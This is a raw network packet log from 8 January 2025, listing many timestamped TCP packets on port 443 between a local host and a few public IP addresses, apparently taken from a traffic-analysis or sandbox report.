Jan 8, 2025 15:44:40.332520962 CET	443	49754	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.332540035 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.332576990 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.332592010 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.332607985 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.332621098 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.333066940 CET	49782	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.333110094 CET	443	49782	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.333182096 CET	49782	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.333307981 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.334448099 CET	49782	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.334461927 CET	443	49782	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.334968090 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.335366964 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.335376024 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.335530043 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.335537910 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.335684061 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.335880041 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.335993052 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.336052895 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.336261034 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.336325884 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.336436987 CET	49779	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.336496115 CET	49780	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.345607996 CET	49783	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.345643997 CET	443	49783	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.345721960 CET	49783	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.345988035 CET	49783	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.346004009 CET	443	49783	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.353895903 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.353938103 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.353986979 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.353996038 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.354026079 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.354049921 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.354232073 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.354250908 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.354304075 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.354311943 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.354351997 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.354602098 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.354619980 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.354665041 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.354671001 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.354695082 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.354715109 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.355024099 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.355038881 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.355108023 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.355113983 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.355150938 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.359395027 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.359411001 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.359488010 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.359493971 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.359536886 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.359707117 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.359730959 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.359757900 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.359764099 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.359791994 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.359807014 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.359852076 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.359890938 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.359906912 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.359913111 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.359935999 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.359972954 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.360029936 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.362972021 CET	49760	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.362979889 CET	443	49760	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.379338026 CET	443	49779	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.383335114 CET	443	49780	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.433092117 CET	443	49771	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.437828064 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.462702990 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.480263948 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.480313063 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.480353117 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.480357885 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.480377913 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.480427027 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.480434895 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.480468035 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.480509996 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.480519056 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.480953932 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.480998039 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.481009960 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.482227087 CET	49771	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.482333899 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.482342958 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.514204025 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.530211926 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.530236959 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.571202040 CET	443	49781	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:40.571489096 CET	49781	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:40.571501017 CET	443	49781	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:40.572573900 CET	443	49781	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:40.572639942 CET	49781	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:40.572928905 CET	49781	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:40.572940111 CET	49781	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:40.572983980 CET	49781	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:40.572998047 CET	443	49781	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:40.573055983 CET	49781	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:40.573296070 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:40.573318005 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:40.573406935 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:40.573630095 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:40.573642015 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:40.687066078 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.687124968 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.687151909 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.687185049 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.687194109 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.687202930 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.687244892 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.687443972 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.687486887 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.687494040 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.687556982 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.687601089 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.687608004 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.688142061 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.688173056 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.688204050 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.688211918 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.688260078 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.707479954 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.707562923 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.707601070 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.707628965 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.707639933 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.707690954 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.707698107 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.708195925 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.708249092 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.708256006 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.708370924 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.708401918 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.708412886 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.708419085 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.708456993 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.708462000 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.753268003 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.753278017 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.754403114 CET	443	49708	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:40.754465103 CET	443	49708	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:40.754520893 CET	49708	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:40.773747921 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.773833990 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.773888111 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.773890018 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.773899078 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.773947954 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.773955107 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.773987055 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.774039030 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.774046898 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.774710894 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.774765015 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.774775982 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.774806976 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.774853945 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.774861097 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.798319101 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.798372984 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.798407078 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.798407078 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.798420906 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.798460007 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.798461914 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.798505068 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.798511028 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.798660994 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.798693895 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.798710108 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.798715115 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.798753023 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.798758984 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.798763990 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.798815966 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.799453974 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.801467896 CET	443	49782	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.801956892 CET	49782	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.801966906 CET	443	49782	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.802957058 CET	443	49782	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.803036928 CET	49782	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.806449890 CET	49782	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.806512117 CET	49782	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.806512117 CET	49782	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.806519985 CET	443	49782	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.806611061 CET	49782	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.806899071 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.806945086 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.807045937 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.807264090 CET	49785	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.807272911 CET	443	49785	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.817231894 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.817239046 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.823095083 CET	443	49783	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.823297024 CET	49783	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.823308945 CET	443	49783	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.824589014 CET	443	49783	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.824659109 CET	49783	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.824932098 CET	49783	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.824944019 CET	49783	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.824984074 CET	49783	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.825028896 CET	443	49783	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.825099945 CET	49783	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.825257063 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.825285912 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.825356007 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.825534105 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.825548887 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.849212885 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.864228964 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.870368958 CET	443	49776	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.899858952 CET	443	49777	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.912228107 CET	49776	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.931653023 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.931792021 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.931848049 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.931855917 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.931866884 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.931907892 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.932131052 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.932207108 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.932248116 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.932249069 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.932260036 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.932307959 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.932316065 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.932466030 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.932518959 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.932631969 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.932641029 CET	443	49772	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.932667017 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.932713032 CET	49772	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.933104038 CET	49787	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.933140039 CET	443	49787	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.933226109 CET	49787	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.933713913 CET	49787	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.933726072 CET	443	49787	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.935846090 CET	49708	443	192.168.2.16	172.67.183.92
Jan 8, 2025 15:44:40.935870886 CET	443	49708	172.67.183.92	192.168.2.16
Jan 8, 2025 15:44:40.936207056 CET	49788	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.936228991 CET	443	49788	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.936300993 CET	49788	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.936638117 CET	49788	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.936655045 CET	443	49788	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.944231033 CET	49777	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.954840899 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.954900980 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.954947948 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.954958916 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.955185890 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.955210924 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.955221891 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.955226898 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.955261946 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.955756903 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.955915928 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.955938101 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.955952883 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.955960035 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.955993891 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.956016064 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.956070900 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.956110001 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.956115007 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.956816912 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.956862926 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.956868887 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.957699060 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.957765102 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.957770109 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.957798958 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.957835913 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.957842112 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:40.957882881 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:40.990470886 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.990544081 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.990572929 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.990597963 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.990622997 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.990667105 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.990720987 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.990837097 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.990869045 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.990880966 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.990889072 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.990922928 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.991573095 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.991627932 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.991666079 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.991672039 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.991682053 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.991717100 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.991728067 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.992438078 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.992491961 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.992500067 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.992563963 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.992610931 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.992618084 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.993297100 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:40.993347883 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:40.993359089 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.030643940 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.030963898 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:41.030972958 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.032032967 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.032105923 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:41.032392979 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:41.032464981 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.032537937 CET	49784	443	192.168.2.16	172.67.156.201
Jan 8, 2025 15:44:41.032546043 CET	443	49784	172.67.156.201	192.168.2.16
Jan 8, 2025 15:44:41.039225101 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.045252085 CET	443	49773	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:41.045320034 CET	49773	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:41.080173016 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.080245018 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.080286026 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.080302000 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.080318928 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.080328941 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.080364943 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.080668926 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.080709934 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.080718040 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.080821037 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.080852032 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.080868959 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.080876112 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.080904961 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.080913067 CET	49770	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:41.080919981 CET	443	49770	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:41.080971956 CET	49770	443	192.168.2.16	172.67.144.59
